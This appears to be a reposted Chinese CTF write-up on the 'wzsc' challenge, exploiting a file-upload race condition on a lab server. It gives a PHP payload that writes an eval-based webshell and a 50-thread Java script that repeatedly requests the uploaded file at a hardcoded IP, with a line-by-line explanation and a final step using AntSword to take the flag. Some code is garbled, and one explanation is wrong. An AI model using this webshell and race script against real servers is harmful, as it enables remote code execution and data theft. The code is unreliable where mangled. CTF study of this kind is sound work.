免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
——鼹鼠
1.关于wzsc文件
wzsc文件是一种Web应用程序中的文件上传漏洞(File Upload Vulnerability)利用文件。这种文件通常被用于攻击目标服务器,以达到执行任意恶意代码的目的。攻击者利用Web应用程序提供的文件上传功能,上传恶意文件,如可执行文件、脚本、木马等,从而窃取、篡改、删除或破坏网站数据,或对受害者发起其他形式的攻击。
因此,对于存在文件上传功能的Web应用程序,应采取严格的安全措施,包括验证上传文件的类型、大小和内容,以及在服务器端执行安全检查,以防止被攻击者利用wzsc文件进行攻击。
2.漏洞现象与分析
只有一个upload前端标签元素,并且上传任意文件都会跳转到upload.php页面,判定是一个apache容器,开始扫描web目录,查看是否有机可乘
扫描得知有关键的flag.php页面和upload文件根路径和upload.php页面,php文件查看了都没有渲染有用的信息…但是upload文根重定向到文件上传的页面
并且上传的php木马等都会被过滤,判断源码中有校验白名单,联想到文件上传的条件竞争
php校验文件上传的时候先写入,判断不符合后,再回退
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在
思路
思路清晰,先说BP
在服务器释放上传的php文件之前先让该文件被执行,那么操作权就在我们手上了,这里我们让生成蚁剑的webshell木马,再通过提权webshell获取源码拿到flag
3.编写攻击脚本和重放措施
php上传的脚本代码为:
fputs(fopen("shell.php", "w"), '<?php @eval($_POST["cmd"]); ?>');
执行该脚本打时候调用fopen函数,写入webshell的木马。n该脚本为upload,在burpsuite手动重放即可,记得点快一点n小编使用java多线程破坏服务器的退回操作,上脚本:
4j
public class Application {
public OkHttpClient okHttpClient() {
return new OkHttpClient();
}
private static final String requestUrl = "http://61.147.171.105:51022/upload/test.php";
public static String sendRequest(OkHttpClient okHttpClient, String url) throws IOException {
Request request = new Request.Builder().url(url).build();
try (Response response = okHttpClient.newCall(request).execute()) {
if (!response.isSuccessful()) {
throw new IOException("Unexpected code " + response);
}
return Objects.requireNonNull(response.body()).string();
}
}
public static void main(String[] args) {
ConfigurableApplicationContext applicationContext = SpringApplication.run(Application.class, args);
OkHttpClient okHttpClient = applicationContext.getBean("okHttpClient", OkHttpClient.class);
for (int i = 0; i < 50; i++) {
new Thread(() -> {
int num = 0;
while (true) {
log.warn("{}第{}次请求", Thread.currentThread().getName(), num++);
try {
String resp = sendRequest(okHttpClient, requestUrl);
log.info("数据获取成功{}", resp);
System.exit(0);
} catch (IOException e) {
}
}
}, "threadNo" + i).start();
}
}
}
这段代码是一个简单的Spring Boot应用程序,主要用于向一个特定的URL发送HTTP请求。下面是这段代码的逐行解释:
@SpringBootApplication
这是一个Spring Boot的注解,用于启动一个Spring Boot应用程序。它相当于其他几个注解的组合,
包括
, , 和
@Slf4j
这是一个日志注解,用于声明日志框架为SLF4J。
public class Application {
定义了一个名为Application的公共类。
@Bean
这是一个Spring的注解,表示下面的方法将返回一个对象,该对象应被注册为Spring应用上下文中的一个bean。
public OkHttpClient okHttpClient() {
定义了一个公共方法,该方法返回一个新的OkHttpClient实例。
return new OkHttpClient();
创建并返回一个新的OkHttpClient实例。
private static final String requestUrl = "http://61.147.171.105:51022/upload/test.php";
定义了一个私有的、静态的、最终的字符串变量,用于存储请求的URL。
public static String sendRequest(OkHttpClient okHttpClient, String url) throws IOException {
定义了一个公共的静态方法,该方法接受一个OkHttpClient实例和一个URL作为参数,并可能抛出一个IOException
Request request = new Request.Builder().url(url).build();
使用OkHttp创建一个新的请求。
try (Response response = okHttpClient.newCall(request).execute()) {
尝试执行请求并获取响应。
if (!response.isSuccessful()) {
检查响应是否成功
throw new IOException("Unexpected code " + response);
如果响应不成功,抛出一个IOException。
return Objects.requireNonNull(response.body()).string();
从响应中获取非空体的内容并返回。
public static void main(String[] args) {:定义了程序的入口点。
ConfigurableApplicationContext applicationContext = SpringApplication.run(Application.class, args);
启动Spring Boot应用程序上下文。
OkHttpClient okHttpClient = applicationContext.getBean("okHttpClient", OkHttpClient.class);
从Spring上下文中获取名为"okHttpClient"的bean,并将其转换为OkHttpClient实例
for (int i = 0; i < 50; i++) {
创建一个循环,将运行50次
new Thread(() -> {
为循环中的每个迭代创建一个新的线程
int num = 0;
在新的线程中定义一个整数变量num并初始化为0。
while (true) {
创建一个无限循环。
log.warn("{}第{}次请求", Thread.currentThread().getName(), num++);
记录一条警告日志,显示当前线程的名称和请求次数。
try {
尝试执行以下代码块。
String resp = sendRequest(okHttpClient, requestUrl);
调用sendRequest方法发送请求并获取响应。
log.info("数据获取成功{}", resp);
记录一条信息日志,显示成功获取的数据。
System.exit(0);
退出当前线程
} catch (IOException e) {
捕获可能抛出的IOException。
}
结束捕获块。
}
结束while循环。
}, "threadNo" + i).start();
为每个线程设置一个名称,并启动它。
}
结束for循环。
}
结束main方法。
}
结束Application类。
最终java脚本结束:
我们访问upload文根查看结果
木马上传成功!
中国蚁剑拿flag
4.
原文始发于微信公众号(天盾信安):漏洞利用_wzsc文件上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论